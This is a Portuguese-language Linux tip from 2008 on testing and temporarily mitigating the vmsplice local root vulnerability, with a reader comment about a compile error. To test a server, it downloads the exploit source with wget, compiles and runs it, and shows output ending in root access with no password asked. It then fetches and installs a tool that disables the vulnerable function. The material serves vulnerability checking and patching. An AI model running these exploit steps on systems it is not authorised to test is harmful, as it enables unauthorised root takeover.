Explorando e resolvendo vulnerabilidade local no kernel Linux

Publicado por Pedro Al Pacheco em 20/05/2008

[ Hits: 6.444 ]

Blog: http://pedroalpacheco.blogspot.com/

 


Explorando e resolvendo vulnerabilidade local no kernel Linux



Esta dica é um resumo e serve para testar e solucionar a falha crítica, baseado no alerta de segurança gerado pelo CAIS (Centro de Apoio a Incidentes de Segurança) utilizando a segunda opção - desabilitar temporariamente a função do kernel vulnerável até o próximo reinício do sistema e habilitando no boot. A primeira opção que seria a atualização do kernel não será abordada.

Testado na distribuição Debian.

1 - Como testar seu servidor:

O teste é feito baixando exploit de:

$ wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c

Após baixar, compile com o comando (a compilação e execução das ações abaixo podem ser feitas como root ou usuário comum, foram testadas nas duas formas e foi obtido êxito):

$ gcc -o exploit 27704.c

Obs.: (gcc -o novo_nome_binário fonte_arquivo)

Dê permissão de execução do usuário.

$ chmod 777 exploit

Será criado um executável: exploit

Copie para a pasta do usuário local, ex.:

$ cp exploit /home/pedro

Entre com o comando:

$ su nome_do_usuário_comum (para logar como usuário comum)

Execute o binário:

$ ./exploit

A saída deve ser a seguinte:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7df6000 .. 0xb7e28000
[+] root

Depois você simplesmente digita o comando "su -" e não será pedido senha alguma para root e você terá acesso pleno ao servidor como usuário máximo.

2 - Como vacinar seu servidor:

Existem duas formas:

1. Atualização o Kernel (link de abordamento):
2. Desabilitar temporariamente a função do kernel vulnerável, até o próximo reinício do sistema:

Baixe no link:

$ wget http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c

Compile disable-vmsplice-if-exploitable.c:

$ gcc -o desabilita-exp disable-vmsplice-if-exploitable.c

Obs.: (gcc -o novo_nome_binário fonte_arquivo)

Será gerado seguinte binário: desabilita-exp

Após a execução de desabilita-exp não terá mais problemas com a vulnerabilidade.

A saída de execução será esta:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
Exploit gone!

Coloque na inicialização do Sistema Operacional onde você desejar. Ex.: /etc/rc.local ou no /etc/rcx.d.

Reinicie o servidor e efetue os testes referenciados no item 1.

Lembrando que esta medida é temporária, sem a necessidade de compilar o kernel.

Fontes:
Espero ter ajudado. Dúvidas e críticas construtivas estou a disposição.

Outras dicas deste autor

Problemas com winbind depois de atualizar Windows 2000

Leitura recomendada

Sincronizando relógios dos micros na rede sem NTP

Linux ajudando na manutenção de micros

No process in pidfile '/var/run/zabbix/zabbix_server.pid' found running; none killed

Comandos ARP

Criar usuario no Linux sem senha

  

Comentários
[1] Comentário enviado por IanHernandez em 30/05/2016 - 17:57h

Muito bom o seu tópico, porém estou tendo um erro na hora de compilar o arquivo:
27704.c:30:22: fatal error: asm/page.h: No such file or directory #include <asm/page.h>
^ compilation terminated.

Sabe como resolver?



Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts